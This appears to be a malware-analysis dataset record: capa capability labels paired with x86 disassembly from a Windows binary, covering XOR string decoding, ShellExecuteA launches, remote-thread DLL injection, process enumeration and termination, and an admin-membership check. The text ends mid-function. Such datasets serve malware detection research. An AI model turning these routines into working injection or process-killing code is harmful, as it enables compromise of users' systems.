joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e22d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
movzx eax, cl
imul eax, eax, 0x9d
push edi
mov edi, 0x86d
mov dword [ebp - 4], eax
xor eax, eax
test ecx, ecx
jle 0x4e232e
mov ecx, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
sub ebx, ecx
nop dword [eax]
lea esi, [eax + ecx]
mov ecx, eax
and ecx, 7
inc eax
mov dl, byte [ecx + 0x540458]
mov ecx, edi
xor dl, byte [ebx + esi]
sar ecx, 8
xor dl, cl
imul edi, edi, 0x87b
xor dl, byte [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov byte [esi], dl
cmp eax, dword [ebp + 8]
jl 0x4e2300
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4e35d0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x5402e0], 2
jne 0x4e362f
mov edx, dword [0x540428]
sub edx, 0xffffff80
cmp dword [edx + 0x14], 0x10
jb 0x4e35f0
mov ecx, dword [edx]
jmp 0x4e35f2
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e35f6
sub ecx, esi
pop esi
je 0x4e362f
cmp dword [edx + 0x14], 0x10
mov dword [0x5400d0], 1
mov dword [0x5402e0], 1
jb 0x4e361e
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x4e3640
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x5402dc], 2
jne 0x4e369f
mov edx, dword [0x540428]
add edx, 0x68
cmp dword [edx + 0x14], 0x10
jb 0x4e3660
mov ecx, dword [edx]
jmp 0x4e3662
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e3666
sub ecx, esi
pop esi
je 0x4e369f
cmp dword [edx + 0x14], 0x10
mov dword [0x5400cc], 1
mov dword [0x5402dc], 1
jb 0x4e368e
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x4e36b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x5402d8], 2
jne 0x4e370f
mov edx, dword [0x540428]
add edx, 0x50
cmp dword [edx + 0x14], 0x10
jb 0x4e36d0
mov ecx, dword [edx]
jmp 0x4e36d2
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e36d6
sub ecx, esi
pop esi
je 0x4e370f
cmp dword [edx + 0x14], 0x10
mov dword [0x5400c8], 1
mov dword [0x5402d8], 1
jb 0x4e36fe
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x4e3720
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x5402d4], 2
jne 0x4e377f
mov edx, dword [0x540428]
add edx, 0x38
cmp dword [edx + 0x14], 0x10
jb 0x4e3740
mov ecx, dword [edx]
jmp 0x4e3742
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e3746
sub ecx, esi
pop esi
je 0x4e377f
cmp dword [edx + 0x14], 0x10
mov dword [0x5400c4], 1
mov dword [0x5402d4], 1
jb 0x4e376e
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret
Function at 0x4e3790
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x5402d0], 2
jne 0x4e37ef
mov edx, dword [0x540428]
add edx, 0x20
cmp dword [edx + 0x14], 0x10
jb 0x4e37b0
mov ecx, dword [edx]
jmp 0x4e37b2
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e37b6
sub ecx, esi
pop esi
je 0x4e37ef
cmp dword [edx + 0x14], 0x10
mov dword [0x5400c0], 1
mov dword [0x5402d0], 1
jb 0x4e37de
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x4e3800
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x52f098]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x5402c8], 2
jne 0x4e3954
push ebx
mov byte [ebp - 0x10], 0x6c
mov al, 0x23
xor al, byte [ebp - 0x10]
mov cl, 0x1c
xor cl, byte [ebp - 0x10]
mov bh, 9
mov byte [ebp - 0xf], al
mov ah, 3
mov byte [ebp - 0xe], cl
mov dl, 0x18
mov cl, byte [ebp - 0x10]
mov ch, 2
mov byte [ebp - 0x35], 0x14
xor ah, cl
mov al, byte [ebp - 0x35]
mov dh, 0x42
xor al, cl
mov byte [ebp - 0x36], bh
mov byte [ebp - 7], al
mov bl, 5
mov al, byte [ebp - 0x36]
xor dl, cl
push 9
push 0
xor al, cl
mov byte [ebp - 0xb], ah
push 0
mov byte [ebp - 6], al
xor bl, cl
lea eax, [ebp - 0xf]
mov byte [ebp - 5], 0
push eax
push 0
xor ch, cl
mov dword [0x5400b8], 1
xor dh, cl
mov dword [0x5402c8], 1
xor bh, cl
mov byte [ebp - 0xd], dl
push 0
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xa], ch
mov byte [ebp - 9], dh
mov byte [ebp - 8], bh
mov byte [ebp - 5], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
jne 0x4e394b
movaps xmm0, xmmword [0x525b50]
mov al, 0x38
mov byte [ebp - 0x1c], 0x74
mov cl, 0x15
xor al, byte [ebp - 0x1c]
mov ch, 0x1c
mov byte [ebp - 0x1b], al
mov dl, 1
mov al, byte [ebp - 0x1c]
mov bl, 0x1a
mov ah, 0x17
mov byte [ebp - 0x13], 0
mov dh, 0x11
mov byte [ebp - 0x13], 0
mov bh, 6
mov dword [ebp - 0x24], 0x677c666f
xor cl, al
mov word [ebp - 0x20], 0x276d
xor ch, al
mov byte [ebp - 0x1a], cl
xor dl, al
mov byte [ebp - 0x16], ch
xor bl, al
mov byte [ebp - 0x19], dl
xor ah, al
mov byte [ebp - 0x18], bl
xor dh, al
mov byte [ebp - 0x17], ah
xor bh, al
mov byte [ebp - 0x15], dh
mov byte [ebp - 0x14], bh
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
mov byte [ebp - 0x1e], 0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x15
jb 0x4e3915
push 0x40
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x1e], 0
push eax
lea eax, [ebp - 0x33]
push eax
push dword [0x540088]
call dword [sym.imp.USER32.dll_MessageBoxA]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049e623
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049e623
mov esp, ebp
pop ebp
ret
Function at 0x4e3970
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x5402c4], 2
jne 0x4e39cf
mov edx, dword [0x540428]
add edx, 8
cmp dword [edx + 0x14], 0x10
jb 0x4e3990
mov ecx, dword [edx]
jmp 0x4e3992
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e3996
sub ecx, esi
pop esi
je 0x4e39cf
cmp dword [edx + 0x14], 0x10
mov dword [0x5400b4], 1
mov dword [0x5402c4], 1
jb 0x4e39be
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x4e39e0
Capabilities:
Create process on windows

Disassembly:
cmp dword [0x5402e4], 2
jne 0x4e3a32
mov eax, dword [0x540428]
cmp byte [eax + 0x288], 0
je 0x4e3a32
cmp dword [eax + 0xc0], 0
jbe 0x4e3a32
add eax, 0xb0
mov dword [0x5400d4], 1
mov dword [0x5402e4], 1
cmp dword [eax + 0x14], 0x10
jb 0x4e3a21
mov eax, dword [eax]
push 9
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret
Function at 0x4e4130
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
nop dword [eax]
push 0xfa
call esi
mov eax, dword [0x540120]
test eax, eax
je 0x4e4150
cmp dword [0x5403c8], 0
je 0x4e4150
push eax
push 1
push 0x1fffff
call edi
cmp eax, 0xffffffff
je 0x4e4150
push 0
push 1
lea ecx, [ebp - 1]
push ecx
push 0x400000
push eax
call ebx
test eax, eax
jne 0x4e4150
push dword [0x5403c8]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4e5900
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 4
push 0x3000
push 0x104
mov edi, ecx
mov esi, edx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x4e5992
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e5930
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4e598b
push 0
push 0
push ebx
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
jne 0x4e599c
lea ecx, [esi + 1]
nop dword [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4e5970
sub esi, ecx
push 0x8000
lea eax, [esi + 1]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x4e5992
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4e59b6
sub esi, ecx
push 0x8000
lea eax, [esi + 1]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4e5a10
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f4d24
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x52f098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dl, cl
mov eax, dword [0x540428]
cmp dword [eax + 0x18], 0
je 0x4e5b53
movzx esi, dl
lea ecx, [eax + 0x12c]
lea eax, [esi + 1]
cmp dword [ecx + 4], eax
jb 0x4e5b53
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], esi
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00450a80
mov eax, dword [ebp - 0x58]
cmp dword [eax + 0x3c], 0
jbe 0x4e5b53
mov ch, 0xa
mov byte [ebp - 0x12], 0
mov al, 0x25
mov byte [ebp - 0x18], ch
mov dl, 0x6f
mov dword [ebp - 0x50], esi
xor dl, ch
mov byte [ebp - 0x12], 0
mov ah, al
mov byte [ebp - 0x15], dl
mov edx, dword [0x540428]
xor al, ch
xor ah, ch
mov byte [ebp - 0x17], al
mov cl, 0x64
mov byte [ebp - 0x13], ah
xor cl, ch
lea eax, [ebp - 0x17]
mov bl, 0x7d
mov byte [ebp - 0x16], cl
xor bl, ch
lea edx, [edx + 8]
push eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x14], bl
call fcn.0044bb50
add esp, 4
mov esi, eax
lea eax, [ebp - 0x50]
mov dword [ebp - 4], 0
mov ecx, dword [0x540428]
push eax
lea eax, [ebp - 0x58]
add ecx, 0x12c
push eax
call fcn.00450a80
mov eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x30]
add eax, 0x2c
mov edx, esi
push eax
call fcn.0044daf0
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x4e5b06
mov eax, dword [eax]
push 5
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [ebp - 0x1c]
cmp eax, 0x10
jb 0x4e5b2c
inc eax
lea ecx, [ebp - 0x30]
push eax
push dword [ebp - 0x30]
call fcn.00445a30
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x30], 0
cmp eax, 0x10
jb 0x4e5b53
inc eax
lea ecx, [ebp - 0x48]
push eax
push dword [ebp - 0x48]
call fcn.00445a30
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049e623
mov esp, ebp
pop ebp
ret
Function at 0x4e7310
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
mov eax, dword [0x52f098]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x140], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
lea eax, [ebp - 0x140]
push eax
push ebx
mov dword [ebp - 0x144], ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4e7493
nop dword [eax + eax]
movaps xmm0, xmmword [0x525f60]
xor eax, eax
movups xmmword [ebp - 0x18], xmm0
mov word [ebp - 8], 0x76
mov cl, byte [ebp - 0x18]
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 0x10
jb 0x4e7373
mov byte [ebp - 7], 0
lea ecx, [ebp - 0x17]
lea eax, [ebp - 0x11c]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4e73b0
test dl, dl
je 0x4e73ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4e73b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4e7390
xor eax, eax
jmp 0x4e73b5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4e747d
mov ecx, dword [ebp - 0x138]
call fcn.004e7640
test al, al
jne 0x4e747d
push dword [ebp - 0x138]
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4e747d
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x14c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
cmp eax, 0xffffffff
je 0x4e7476
push 0
call fcn.004c0010
add esp, 4
mov ebx, eax
mov esi, edx
push dword [ebp - 0x148]
push dword [ebp - 0x14c]
call fcn.004e75a0
add esp, 8
sub ebx, eax
sbb esi, edx
mov dword [ebp - 0x16c], esi
js 0x4e7470
jg 0x4e744a
cmp ebx, 0xf
jbe 0x4e7470
push dword [ebp - 0x138]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4e7470
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x144]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x140]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4e7360
cmp ebx, 0xffffffff
je 0x4e749f
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0049e623
mov esp, ebp
pop ebp
ret
Function at 0x4e74b0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x52f098]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov bl, dl
mov dword [ebp - 0x138], ecx
push 2
mov byte [ebp - 0x131], bl
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4e755e
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [ebp - 0x138]
lea ecx, [ebp - 0x10c]
nop dword [eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4e7540
test dl, dl
je 0x4e753c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4e7540
add ecx, 2
add eax, 2
test dl, dl
jne 0x4e7520
xor eax, eax
jmp 0x4e7545
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4e754a
inc esi
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
test eax, eax
jne 0x4e7510
mov bl, byte [ebp - 0x131]
cmp edi, 0xffffffff
je 0x4e756a
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x4e7585
cmp esi, 1
setl al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049e623
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
cmp esi, 1
pop edi
setle al
xor ecx, ebp
pop esi
pop ebx
call fcn.0049e623
mov esp, ebp
pop ebp
ret

Function at 0x4e7640
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x52f098]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_FindWindowExA]
push esi
push edi
mov edi, ecx
xor esi, esi
push 0
push 0
push esi
push 0
call ebx
mov esi, eax
mov dword [ebp - 0x124], 0
lea eax, [ebp - 0x124]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x104
lea eax, [ebp - 0x108]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp byte [ebp - 0x108], 0
mov dword [ebp - 0x10c], 0xf
mov dword [ebp - 0x110], 0
mov byte [ebp - 0x120], 0
jne 0x4e76be
xor ecx, ecx
jmp 0x4e76d0
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e76c7
sub ecx, edx
push ecx
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x120]
call fcn.00445cb0
cmp dword [ebp - 0x124], edi
jne 0x4e76f4
cmp dword [ebp - 0x110], 0
jne 0x4e774b
mov eax, dword [ebp - 0x10c]
cmp eax, 0x10
jb 0x4e7730
mov ecx, dword [ebp - 0x120]
inc eax
cmp eax, 0x1000
jb 0x4e7727
test cl, 0x1f
jne 0x4e777c
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x4e777c
sub ecx, eax
cmp ecx, 4
jb 0x4e777c
cmp ecx, 0x23
ja 0x4e777c
mov ecx, eax
push ecx
call fcn.0049e8d4
add esp, 4
test esi, esi
jne 0x4e7660
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049e623
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10c]
cmp eax, 0x10
jb 0x4e7769
inc eax
lea ecx, [ebp - 0x120]
push eax
push dword [ebp - 0x120]
call fcn.00445a30
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0049e623
mov esp, ebp
pop ebp
ret
call fcn.004bd0e0
int3
Function at 0x4e7790
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x52f098]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x140], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4e78d1
nop dword [eax + eax]
movaps xmm0, xmmword [0x525990]
xor ecx, ecx
movups xmmword [ebp - 0x18], xmm0
nop dword [eax]
mov al, byte [ebp - 0x18]
xor byte [ebp + ecx - 0x17], al
inc ecx
cmp ecx, 0xe
jb 0x4e77f0
mov byte [ebp - 9], 0
lea ecx, [ebp - 0x17]
lea eax, [ebp - 0x11c]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4e7830
test dl, dl
je 0x4e782c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4e7830
add eax, 2
add ecx, 2
test dl, dl
jne 0x4e7810
xor eax, eax
jmp 0x4e7835
sbb eax, eax
or eax, 1
test eax, eax
je 0x4e7899
movaps xmm0, xmmword [0x525ef0]
xor eax, eax
movups xmmword [ebp - 0x18], xmm0
mov word [ebp - 8], 0x6b60
mov byte [ebp - 6], 0
mov cl, byte [ebp - 0x18]
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 0x11
jb 0x4e7850
mov byte [ebp - 6], 0
lea ecx, [ebp - 0x17]
lea eax, [ebp - 0x11c]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4e7890
test dl, dl
je 0x4e788c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4e7890
add eax, 2
add ecx, 2
test dl, dl
jne 0x4e7870
xor eax, eax
jmp 0x4e7895
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4e78bb
push dword [ebp - 0x138]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4e78bb
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4e77e0
cmp edi, 0xffffffff
je 0x4e78d9
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0049e623
mov esp, ebp
pop ebp
ret
Function at 0x4e7920
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x52f098]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
mov word [ebp - 8], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4e7979
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push esi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x4e7981
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4e7996
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x10], 0
test esi, esi
jne 0x4e79ac
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
xor ecx, ebp
pop esi
call fcn.0049e623
mov esp, ebp
pop ebp
ret
push 0x52c638
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
call fcn.004b7bf4
int3
Function at 0x4ea5f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f5057
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x52f098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
movzx ecx, word [esi + 0x2ae]
cmp cx, word [esi + 0x2ac]
jle 0x4ea6c7
movaps xmm0, xmmword [0x525f00]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x22
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x4ea642
cmp byte [ebp - 0x23], 0
mov byte [ebp - 0x13], 0
mov dword [ebp - 0x30], 0xf
mov dword [ebp - 0x34], 0
mov byte [ebp - 0x44], 0
jne 0x4ea66f
xor ecx, ecx
jmp 0x4ea67e
lea ecx, [ebp - 0x23]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ea675
sub ecx, edx
push ecx
lea eax, [ebp - 0x23]
push eax
lea ecx, [ebp - 0x44]
call fcn.00445cb0
lea ecx, [esi + 0x2b0]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x44]
cmp ecx, eax
je 0x4ea6a9
push 0xffffffffffffffff
push 0
push eax
call fcn.00445490
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x4ea6be
inc eax
lea ecx, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
call fcn.00445a30
mov byte [esi + 0x288], 0
jmp 0x4ea6e9
mov eax, dword [0x540428]
mov eax, dword [eax]
cmp dword [eax + 4], 0xffffffff
je 0x4ea6e9
push 3
lea eax, [ebp - 0x2c]
mov word [ebp - 0x2b], cx
mov ecx, dword [esi]
push eax
mov byte [ebp - 0x2c], 2
call fcn.004ddde0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049e623
mov esp, ebp
pop ebp
ret

Function at 0x4ea710
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x52f098]
xor eax, esp
mov dword [esp + 0x48], eax
cmp dword [0x540734], 0x10
lea ecx, [esp + 0x14]
push esi
mov esi, 0x540720
mov eax, esi
cmovae eax, dword [0x540720]
push ecx
push eax
call fcn.004be88f
add esp, 8
test eax, eax
je 0x4ea75e
xor al, al
pop esi
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.0049e623
mov esp, ebp
pop ebp
ret
cmp dword [0x540734], 0x10
push 0
cmovae esi, dword [0x540720]
push 0x80
push 3
push 0
push 2
push 2
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x4ea799
mov al, 1
pop esi
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.0049e623
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm0, xmmword [0x525a50]
xor ecx, ecx
movups xmmword [esp + 4], xmm0
mov word [esp + 0x14], 0x10
mov al, byte [esp + 4]
xor byte [esp + ecx + 5], al
inc ecx
cmp ecx, 0x10
jb 0x4ea7b5
mov dl, 1
mov byte [esp + 0x15], 0
lea ecx, [esp + 5]
call fcn.004e74b0
mov ecx, dword [esp + 0x4c]
test al, al
pop esi
sete al
xor ecx, esp
call fcn.0049e623
mov esp, ebp
pop ebp
ret
Function at 0x4ea7f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f5084
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x52f098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movaps xmm0, xmmword [0x525d40]
xor ecx, ecx
mov eax, dword [ebp + 8]
push eax
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x1e
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x4ea830
sub esp, 0x18
mov byte [ebp - 0x13], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0x10
jb 0x4ea85e
mov eax, dword [edx]
jmp 0x4ea860
mov eax, edx
